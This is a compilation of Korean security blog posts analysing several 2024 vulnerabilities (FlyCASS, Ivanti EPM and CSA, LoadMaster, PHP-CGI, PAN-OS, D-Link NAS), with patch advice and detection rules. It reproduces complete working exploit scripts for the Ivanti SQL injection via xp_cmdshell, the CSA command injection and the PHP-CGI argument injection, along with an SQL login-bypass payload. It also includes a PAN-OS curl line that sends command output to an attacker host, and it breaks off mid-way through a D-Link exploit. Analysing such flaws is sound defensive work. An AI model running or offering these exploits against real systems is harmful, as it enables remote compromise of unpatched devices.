1. 개요

- 해외 보안 연구원에 의해 공항 보안에 사용되는 KCM과 CASS 프로세스에서 SQL Injection 취약점 발견 [1]
- 취약점 악용에 성공할 시 관리자가 되어 항공사에 새로운 직원을 추가하는 등의 악성행위 가능
> 현재는 취약점이 해결되었음

 

2. 주요내용

2.1 KCM (Known Crewmember)

- 조종사와 승무원이 보안 검색을 우회할 수 있도록 해주는 TSA 프로그램
- 직원은 전용 레인을 사용하며, KCM 바코드 또는 직원 번호를 제시해 통과 여부를 결정

※ TSA (Transportation Security Administration) : 미국 교통안전청, 9.11 테러 이후 여객기 등의 운행 안전 필요성이 대두되어 설립

 

2.2 CASS (Cockpit Access Security System)

- 조종사가 조종실의 점프 시트를 사용할 수 있도록 하는 시스템

 

2.3 ARINC

- 항공, 공항, 국방, 정부, 수송분야에서 사용되는 표준과 시스템을 개발 및 제공하는 기업
- TSA와 계약하여 KCM 시스템을 운영하며, 조종사와 승무원이 KCM 상태를 확인할 수 있는 웹 사이트와 항공사 간 승인 요청을 라우팅하는 API 등을 운영
> 각 항공사는 KCM 및 CASS에 참여하기 위해 자체 인증 시스템을 운영하며, ARINC의 허브와 상호작용함
- TSA와 항공사는 CockpitAccessRequest와 CrewVerificationRequest 같은 요청을 ARINC로에 보낼 수 있으며, ARINC는 이를 적절한 항공사 시스템으로 라우팅

 

2.4 FlyCASS.com

- 소규모 항공사를 위해 KCM, CASS 운영하며, 모든 항공사가 자체 로그인 페이지를 가지고 있음
- 로그인 페이지에서 SQL Injection 취약점을 테스트(username에 ` 입력)한 결과 MySQL 오류 발생
sqlmap을 사용해 관리자로 FlyCASS에 로그인 성공
username : ' or '1'='1 / password : ') OR MD5('1')=MD5('1

※ sqlmap : SQL Injection을 감지 및 악용할 수 있는 Python 으로 작성된 오픈 소스 침투 테스트 도구 [2]

잘못된 SQL 문법 등의 경우 반환되는 에러 메시지를 통해 데이터베이스 정보를 획득할 수 있으므로, 에러 메시지를 출력하지 않도록 조치 필요

[사진 1] MySQL 오류

2.5 KCM, CASS 관리자

- FlyCASS에 SQL Injection 취약점을 악용해 관리자 권한으로 접근이 가능
직원(조종사, 승무원) 목록을 확인하거나 추가 인증 없이 새로운 직원을 추가할 수 있었음

[사진 2] 관리자 계정 접근 성공

- 테스트를 위해 Test TestOnly 직원 추가 및 KCM, CASS 접근 권한을 부여하는데 성공
SQL Injection에 기본적인 지식이 있는 누구나 KCM, CASS에 임의의 직원을 추가할 수 있는 심각한 문제

[사진 3] Test TestOnly 사용자 추가 성공

2.6 공개 및 기타 [3]

- 미국 국토안보부(United States Department of Homeland Security, DHS)에 문제를 공개
- 이후 FlyCASS는 KCM, CASS에서 비활성화
- TSA는 취약점을 부인하는 성명을 발표했으며, DHS는 초기에 신속하고 전문적으로 처리했으나, 이후 과정에서 상급 기관으로써의 역할을 제대로 수행하지 못함
- 비밀번호를 저장하는데 MD5 해시를 사용한 것 또한 문제

3. 참고

[1] https://ian.sh/tsa
[2] https://sqlmap.org/
[3] https://news.ycombinator.com/item?id=41392128

1. Ivanti Endpoint Manager(EPM) [1]

- 조직 내의 장치를 중앙에서 관리할 수 있는 엔터프라이즈 엔드포인트 관리 솔루션

 

2. 취약점

[사진 1] CVE-2024-29824 [2]

- 취약한 Ivanti EPM에서 발생하는 SQL Injection (CVSS: 9.6)

> 현재 해당 취약점이 활발히 익스플로잇되는 중으로, CISA는 신속히 패치를 권고

영향받는 버전
- Ivanti EPM 2022 SU5 이하 버전

 

2.1 주요 내용

- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]

> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약

> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입

> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행

[사진 2] RecordGoodApp() SQL 문

- 취약점 흐름은 다음과 같음

[사진 3] 호출 흐름

2.2 PoC [4]

- /WSStatusEvents/EventHandler.asmx URL로 POST 요청
GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행

※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저

import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5={}</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>
"""

SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"


def get_cmd_arrays(cmd_file):
    try:
        with open(cmd_file, 'r') as f:
            cmds = f.read().split('\n')
            cmds = [c for c in cmds if c]
            return cmds
    except Exception as e:
        sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
    return []

def exploit(url, command):
    h = {'Content-Type': 'application/soap+xml' }
    sqli_payload = SQLI_PAYLOAD.format(command)
    xml_payload = XML_PAYLOAD.format(sqli_payload)
    try:
        r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully sent payload to server')
        else:
            print(f'[-] Unexpected response from server')
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    args = parser.parse_args()

    commands = get_cmd_arrays(args.cmd_file)
    for command in commands:
        exploit(args.url, command)

 

[사진 4] Exploit 예시

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결

 

- 탐지룰 적용

> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]

alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)

 

4. 참고

[1] https://www.ivanti.com/products/endpoint-manager
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-29824
[3] https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
[4] https://github.com/horizon3ai/CVE-2024-29824
[5] https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US
[6] https://www.vicarius.io/vsociety/posts/cve-2024-29824-xdetection
[7] https://attackerkb.com/topics/c3Z5a612ns/cve-2024-29824
[8] https://www.bleepingcomputer.com/news/security/critical-ivanti-rce-flaw-with-public-exploit-now-used-in-attacks/
[9] https://thehackernews.com/2024/10/ivanti-endpoint-manager-flaw-actively.html

1. CVE-2024-8190

[사진 1] CVE-2024-8190 [1]

- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점

> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함

영향받는 버전: Ivanti CSA 4.6

 

- DateTimeTab.php의 handleDateTimeSubmit() [2]

> HTTP 요청을 구문 분석
TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출

[사진 2] DateTimeTab.php setSystemTimezone()

- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출

[사진 3] setSystemTimezone()

- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3]
> CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제
> 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨

#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def exploit(url, username, password, command):
    u = username
    p = password
    s = requests.Session()
    r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
    m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
    if m:
        ldcsa = m.group(1)
        print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
    else:
        print(f"[-] Failed getting LDCSA_CRSF token")
        sys.exit(0)

    payload = {
        "dateTimeFormSubmitted": "1",
        "TIMEZONE": f"; `{command}` ;",
        "CYEAR": "2024",
        "CMONTH": "9",
        "CDAY": "13",
        "CHOUR": "12",
        "CMIN": "34",
        "LDCSA_CSRF": ldcsa,
        "SUBMIT_TIME": "Save"
    }
    print(f"[*] Sending payload...")
    r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('--username', help='The application username', required=True)
    parser.add_argument('--password', help='The application password', required=True)
    parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
    args = parser.parse_args()

    exploit(args.url, args.username, args.password, args.command)

[사진 4] 익스플로잇 예시

1.1 CVE-2024-8963

[사진 5] CVE-2024-8963 [4]

- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1)
> 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음
CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음

영향받는 버전: Ivanti CSA 4.6

 

- 벤더사는 업데이트 제공 [5][6]

> 입력값에 대한 검증 과정 추가
CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요 [7]

취약점 영향받는 버전 해결 버전
CVE-2024-8190 Ivanti CSA 4.6 CSA 5.0 (권장)
CVE-2024-8963 CSA 4.6 패치 519

 

- 탐지 패턴 적용

(flow:to_server,established; content:"/gsb/datetime.php"; http_uri; content:"TIMEZONE"; nocase; http_uri;)

2. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-8190
[2] https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection/
[3] https://github.com/horizon3ai/CVE-2024-8190
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-8963
[5] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US
[6] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US
[7] https://forums.ivanti.com/s/article/Ivanti-Endpoint-Manager-and-Ivanti-Endpoint-Manager-Security-Suite-EOL?language=en_US#:~:text=CSA%20Physical%20hardware%20will%20be,Fixes%20Only:%20Additional%20twelve%20months.
[8] https://securityaffairs.com/168617/security/ivanti-cloud-services-appliance-cve-2024-8963.html
[9] https://thehackernews.com/2024/09/ivanti-warns-of-active-exploitation-of.html
[10] https://thehackernews.com/2024/09/critical-ivanti-cloud-appliance.html

1. LoadMaster [1]

- Progress Software社에서 개발한 SW
- 대규모 조직에서 앱 성능 최적화, 네트워크 트래픽 관리, 높은 서비스 가용성 보장을 위해 사용하는 ADC 및 부하 분산 솔루션
- Multi-Tenant Hypervisor 버전은 멀티 테넌트 환경을 위해 설계된 LoadMaster 버전으로, 동일한 하드웨어에서 여러 가상 네트워크 기능을 실행할 수 있음

2. CVE-2024-7591

[사진 1] CVE-2024-7591 [2]

- Progress LoadMaster의 부적절한 입력 검증 취약점으로 인한 OS 명령 삽입 취약점 (CVSS: 10.0)
> 조작된 HTTP 요청을 보냄으로써 익스플로잇 해 관리자 인터페이스에 접근할 수 있게 되며, 이후 임의 OS 명령을 실행시킬 수 있음
> PoC 및 악용 시도는 확인되지 않음

영향받는 버전
- LoadMaster <= 7.2.60.0
- Multi-Tenant Hypervisor <= 7.1.35.11

 

- 벤더사는 애드온 패키지를 통해 패치 제공 [3]

> 사용자 입렵 겁증을 추가하여 완화한 것으로 보임
해당 패치는 무료 버전에는 적용되지 않으므로, 무료 버전은 여전히 취약한 상태로 남아있게됨

3. 참고

[1] https://kemptechnologies.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-7591
[3] https://support.kemptechnologies.com/hc/en-us/articles/29196371689613-LoadMaster-Security-Vulnerability-CVE-2024-7591
[4] https://www.bleepingcomputer.com/news/security/progress-loadmaster-vulnerable-to-10-10-severity-rce-flaw/
[5] https://www.boannews.com/media/view.asp?idx=132693&page=3&kind=1

1. PHP-CGI (Common Gateway Interface)

- CGI(Common Gateway Interface): 웹 서버와 외부 프로그램 간의 상호 작용을 위한 표준 인턴페이스

- 웹 서버는 사용자 요청에 PHP 스크립트 포함된 경우 해당 스크립트를 PHP 인터프리터에 전달하여 실행 및 결과 전송

> 스크립트 실행을 위해 웹 서버의 cgi-bin 디렉토리를 생성하고, 디렉터리 내 .cgi 또는 .php로 저장해야 함

 

2. 취약점

[사진 1] CVE-2024-4577 [1]

- Window에 설치된 취약한 버전의 PHP-CGI에서 발생하는 Argument Injection 취약점

> 윈도우의 인코딩 변환 기능 중 Best-Fit 기능과 관련

> 특정 문자 시퀀스를 사용해 CVE-2012-1823에 대한 패치를 우회할 수 있음

영향받는 버전
- PHP-CGI 8.3.8 이전 버전
- PHP-CGI 8.2.20 이전 버전
- PHP-CGI 8.1.29 이전 버전

 

- 공격자는 일반 대시(-, 0x2D)가 아닌 소프트 하이폰(-, 0xAD)를 사용 [2]

> 소프트 하이폰을 이스케이프하지 못해 취약점이 발생

> 공개된 PoC 확인 시 0xAD를 포함한 POST 요청을 확인할 수 있음 [3]

"""
PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution PoC
Discovered by: Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
Exploit By: Aliz (@AlizTheHax0r) and Sina Kheirkhah (@SinSinology) of watchTowr (@watchtowrcyber) 
Technical details: https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/?github
Reference: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
"""

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-php_cve-2024-4577.py
        (*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)
          - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
        CVEs: [CVE-2024-4577]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)
print("(^_^) prepare for the Pwnage (^_^)\n")

parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 --target http://192.168.1.1/index.php -c "<?php system('calc')?>""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
parser.add_argument('--code', '-c', dest='code', help='php code to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')


s = requests.Session()
s.verify = False



res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data=f"{args.code};echo 1337; die;" )
if('1337' in res.text ):
    print('(+) Exploit was successful')
else:
    print('(!) Exploit may have failed')
[영상 1] CVE-2024-4577 시연 [4]

2.1 CVE-2012-1823

[사진 2] CVE-2012-1823 [5]

- 취약한 버전의 PHP에서 발생하는 원격 명령 실행 취약점

> PHP에서 PHP-CGI로 값을 전달할 때 값에 대한 적절한 검증이 없어 발생

영향받는 버전
- PHP 5.3.12 이전 버전
- PHP 5.4.2 이전 버전

 

- 해당 취약점은 "sapi/cgi/cgi_main.c"에서 적절한 검증 없이 PHP-CGI로 값을 전달하여 발생

> 1793줄 if(): CGI 사용 여부 확인

> 1805줄 while(): CGI 옵션 검증(c, n, d, b, s) 후 옵션 전달

구분 옵션 설명
자주 사용되는
Exploit 옵션
-n php.ini 파일을 사용하지 않음
-s 소스코드를 하이라이트로 보여줌
-d php.ini 정의된 설정 내용을 사용자가 설정 할 수 있음
> allow_url_fopen=1: 외부 URL로부터 파일 호출
> allow_url_include=1: 외부 파일 include 허용
> auto_prepend_file=php://input: Http Request Body로부터 데이터를 가져와 실행
> auto_prepend_file=value: value를 먼저 실행 후 POST뒤의 원래 페이지를  실행
> auto_append_file=value: 요청된 페이지를 먼저 실행하고 php://input(BODY)를 실행

 

[사진 3] PHP 5.4.1 sapi/cgi/cgi_main.c

 

[사진 3] bee-box 취약점

- 공개된 PoC에서는 -d 옵션을 사용해 php.ini 파일의 내용을 수정 및 Exploit [6]

######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################

import socket
import sys

def cgi_exploit():
        pwn_code = """<?php phpinfo();?>""" 
        post_Length = len(pwn_code)
        http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s
""" %(HOST , post_Length ,pwn_code)
        print http_raw
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((HOST, int(PORT)))
            sock.send(http_raw)
            data = sock.recv(10000)
            print repr(data)
            sock.close()
        except socket.error, msg:
            sys.stderr.write("[ERROR] %s\n" % msg[1])
            sys.exit(1)
               
if __name__ == '__main__':
        try:
            HOST = sys.argv[1]
            PORT = sys.argv[2]
            cgi_exploit()
        except IndexError:
            print '[+]Usage: cgi_test.py site.com 80'
            sys.exit(-1)

 

- 취약점은 다음과 같이 패치됨

> 1815줄 if(): URL 디코딩 전 QUERY_STRING이 NULL이 아니고, "="를 포함하지 않는다면 URL 디코딩 후 변수 p에 할당

> 1823줄 if(): 변수 p가 "-"로 시작하는 경우 skip_getopt 변수를 1로 초기화

> 1829줄 while(): skip_getopt 변수가 1이므로 while()문을 실행하지 않아 PHP-CGI 옵션 실행 방지

[사진 4] PHP 5.4.3 sapi/cgi/cgi_main.c

3. 대응방안

① 벤더사 제공 최신 업데이트 적용 [7]

> PHP 8.0, 7, 5 계열은 지원 종료로 패치 없음

제품명 영향받는 버전 해결 버전
PHP-CGI 8.3.8 이전 버전 8.3.8
8.2.20 이전 버전 8.2.20
8.1.29 이전 버전 8.1.29

 

② 패치가 불가능한 경우 임시 조치 적용 [8]

> Mod-PHP, FastCGI, PHP-FPM과 같은 보다 안전한 아키텍처로 마이그레이션

> 재작성규칙(Rewrite Rules)을 구성: 전통 중국어, 간체 중국어, 일본어 윈도에서만 사용할 수 있는 방법

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

 

> 윈도용 XAMPP(XAMPP for Windows)를 사용하는 경우 "httpd-xampp.conf" 파일의 설정 변경

C:/xampp/apache/conf/extra/httpd-xampp.conf 파일
> ScriptAlias /php-cgi/ "C:/xampp/php/" 행을 찾아 주석 처리
> # ScriptAlias /php-cgi/ "C:/xampp/php/"

※ XAMPP 자체가 업데이트되지 않아 패치 적용 불가
※ 모든 버전의 윈도우용 XAMPP이 취약점에 노출되어 있으므로 XAMPP 또한 패치 대상

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-4577
[2] https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
[3] https://github.com/watchtowrlabs/CVE-2024-4577
[4] https://www.youtube.com/watch?v=8d5f0xzOdK4
[5] https://nvd.nist.gov/vuln/detail/CVE-2012-1823
[6] https://www.exploit-db.com/exploits/18836
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71457&menuNo=205020
[8] https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
[9] https://www.dailysecu.com/news/articleView.html?idxno=156643
[10] https://www.boannews.com/media/view.asp?idx=130470&page=1&kind=1
[11] https://www.boannews.com/media/view.asp?idx=130481&page=1&kind=1

1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400

 

- Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발생하는 Command Injection Zero-Day 취약점 (CVSS: 10.0)

> 입력값에 대한 유효성 검증 과정이 잘못 구현되어 있거나 누락되어 발생하는 취약점으로 판단됨

> 인증되지 않은 공격자가 방화벽에서 root 권한을 가진 임의 코드를 실행할 수 있음

> 현재 UTA0218 공격 그룹에서 방화벽 공격에 실제 사용하고 있는 취약점

영향받는 버전
- PAN-OS 11.1 ~ 11.1.2-h3 이전 버전
- PAN-OS 11.0 ~ 11.0.4-h1 이전 버전
- PAN-OS 10.2 ~ 10.2.9-h1 이전 버전

 

2.1 주요내용 [2]

[사진 2] CVE-2024-3400 타임라인

 

- 보안 업체 Volexity는 NSM(Network Security Monitoring) 고객의 방화벽에서 의심스러운 네트워크 트래픽 경고 확인

Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발견된 제로데이 취약점을 악용

> 공격 그룹 UTA0218이 사용자 정의 Python 백도어 UPSTYLE을 방화벽에 설치하려는 시도를 확인

> 해당 백도어를 통해 장치에 추가 명령을 실행

UPSTYLE 백도어 - update[.]py를 사용해 해당 백도어를 유포
> /usr/lib/python3.6/site-packages/system.pth 경로에 백도어 배포
> 백도어는 Python으로 작성되어 있으며, base64 encoded 되어있음

- 동작 과정
① 공격자는 특정 패턴을 포함하며, 404 Error를 반환하는 요청 전송
② Error log(/var/log/pan/sslvpn_ngx_error.log)에서 특정 패턴 검색
③ 특정 패턴(명령)을 디코딩 및 실행
④ 명령 실행 결과를 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css에 작성
⑤ 공격자는 /bootstrap.min.css 경로로 요청 전송
⑥ Error log에서 명령 삭제 및 15초 후 /bootstrap.min.css 원본으로 복구

※ 두 가지 변형이 확인되었으나, 동작 과정에서 큰 차이는 보이지 않음

[사진 3] UPSTYLE 백도어 동작 과정

 

- 익스플로잇에 성공한 후 공격을 위한 추가 툴을 다운로드

> patch 파일의 내용을 지속적으로 가져와 실행하여 지속성 유지

> patch 파일이 실행되면 policy 파일을 다운로드 및 실행하며, 총 6개의 policy 파일을 확인

> 이후 공격자는 Chrome 및 Edge 로그인 데이터, 쿠키, PC 정보, 자격 증명 정보 등을 탈취

구분 설명
patch - update.cron 파일 존재 여부 확인
> 없을 경우 파일을 생성 및 실행하여 cron 작업을 설정
> policy 파일을 다운로드하고, 60초마다 bash를 통해 실행

- 공격자는 추가 공격을 위해 수동으로 policy 파일을 작성
> C2 서버에 대한 접근 제어 목록을 수동으로 관리하는 것으로 확인
policy v1 - python으로 작성된 on-line 리버스 셸
policy v2 - 공격 명령 실행 결과가 포함된 CSS 파일을 제거
- 방화벽 장치의 설정을 새 파일에 복사하여 CSS 파일에 장치의 호스트 이름을 저장
> 해당 파일은 공격자가 접근 가능하도록 외부에서 액세스 가능한 디렉터리에 저장
policy v3 - 이전 단계에서 생성된 CSS 파일을 제거하는 데 사용
policy v4 - GOST 터널링 다운로드 및 실행하여, SOCKS5과 RTCP 터널 설정 시도
policy v5 - v4의 수정된 버전으로, Base64 인코딩 형식으로 GOST 터널링 다운로드
policy v6 - SSH를 통해 작동하는 오픈 소스 리버스 셸을 다운로드 및 실행하는 명령이 포함

 

2.2 취약점 분석 [3]

[사진 4] 취약한 함수

 

- send_file()는 서버에 파일을 업로드하기 위해 curl_cmd 문자열을 구성한 후 pansys() 호출 및 curl_cmd 실행

> pansys() 호출시 shell 변수를 True로 설정하여 셸 기능에 액세스할 수 있는 것으로 판단됨

[사진 5] SESSID 값 저장

 

- SESSID 쿠키에 설정된 값을 /tmp/sslvpn 경로에 session_ 문자열을 붙여 저장

> SESSID 쿠키에 임의의 데이터를 전달할 경우 /tmp/sslvpn에 "session_임의의 데이터" 저장

> SESSID 쿠키에 디렉터리 이동 문자 (../)를 추가할 경우 "seesion_" 문자가 추가되지 않음

curl hxxps://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'

 

[사진 6] Exploit 결과

 

- 공격자는 2가지 버그를 결합해 취약한 장치에서 명령을 실행 [4]

> 1단계: SESSID에 셸 명령을 포함해 GlobalProtect에 전송하여 명령이 포함된 파일 생성

> 2단계: cron 작업을 통해 공격자가 제공한 명령이 실행

[사진 7] Expoloit 요약

2.3 PoC

- 깃허브에서 등록된 PoC는 404 Error 반환

> 일부 확인되는 PoC에서는 POST 요청의 데이터에 xml 포맷으로 명령어 전달 [5]

def exploit_firewall(target_ip, payload, root_ca=None):
    url = f"https://{target_ip}/api/"

    data = f"""<?xml version="1.0" encoding="UTF-8"?>
    <request>
        <op cmd="test" />
        <cmd code="ping">{payload}</cmd>
    </request>"""

    headers = {
        "User-Agent": "PAN-OS-Exploit",
        "Content-Type": "application/xml"
    }

    try:
        if root_ca:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=root_ca)
        else:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=False)

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [6]

> main_isValidSessionId()를 추가하여 SESSID 값을 추출하며 유효한 UUID 값인지 확인

> [사진 4] pansys() 호출시 shell 변수 값을 False로 수정

제품명 영향받는 버전 해결 버전
PAN-OS 11.1 ~ 11.1.2-h3 이전 11.1.2-h3 이상
11.0 ~ 11.0.4-h1 이전 11.0.4-h1 이상
10.2 ~ 10.2.9-h1 이전 10.2.9-h1 이상

 

- 장치 침해 징후 식별

구분 설명
네트워크 트래픽
모니터링
- wget 명령을 이용한 특정 IP, URL에 대한 요청
- GlobalProtect 어플라이언스에서 시작된 내부 여러 시스템에 대한 SMB/RDP 연결
- Chrome 또는 Edge 데이터 또는 ntds[.]dit 파일의 SMB 파일 전송
방화벽 로그 분석 - Palo Alto Networks와 Volexity는 분석을 위한 기술 지원 제공
휘발성 메모리 수집

 

- 관련 침해지표 보안 장비 등록 [7][8]

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400
[2] https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

[3] https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis

[4] https://www.paloaltonetworks.com/blog/2024/04/more-on-the-pan-os-cve/

[5] https://hackyboiz.github.io/2024/04/14/j0ker/2024-04-13/
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71402&menuNo=205020

[7] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/rules.yar

[8] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/iocs.csv

[9] https://www.boannews.com/media/view.asp?idx=128841&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=128833&page=1&kind=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=155122

1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273

 

- 취약한 버전의 D-Link 사의 여러 NAS 제품들에서 발생하는 임의 명령 주입 공격 취약점

영향받는 버전
- DNS-320L 버전 1.11, 버전 1.03.0904.2013, 버전 1.01.0702.2013
- DNS-325 버전 1.01
- DNS-327L 버전 1.09, 버전 1.00.0409.2013
- DNS-340L 버전 1.08

 

[사진 2] 인터넷에 노출된 취약한 D-Link NAS 장치 [2]

 

2. 취약점 상세 [2]

- 취약점은 /cgi-bin/nas_sharing.cgi 엔드포인트에 존재

> /cgi-bin/nas_sharing.cgi에 하드코딩된 자격 증명을 악용해 권한 없는 사용자가 시스템에 접근하는 백도어로 사용 

> 해당 엔드포인트에 user, passwd 매개변수와 system 매개변수를 설정해 GET 요청을 전송

① 백도어: 하드코딩된 user, passwd 매개변수를 이용

② 명령주입: system 매개변수를 이용하며, base64 인코딩을 적용해 전달

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<BASE64_ENCODED_COMMAND_TO_BE_EXECUTED>

 

[사진 3] Exploit 결과

 

3. PoC [3]

- cgi-bin/nas_sharing.cgi URL로 GET 요청을 전송

> user 매개변수의 값을 messagebus, passwd 매개변수의 값을 빈 값으로 설정

> system 매개변수의 값을 base64로 인코딩하여 전송

import requests
import base64
import threading

# Utility function for Base64 encoding
def encode_base64(command):
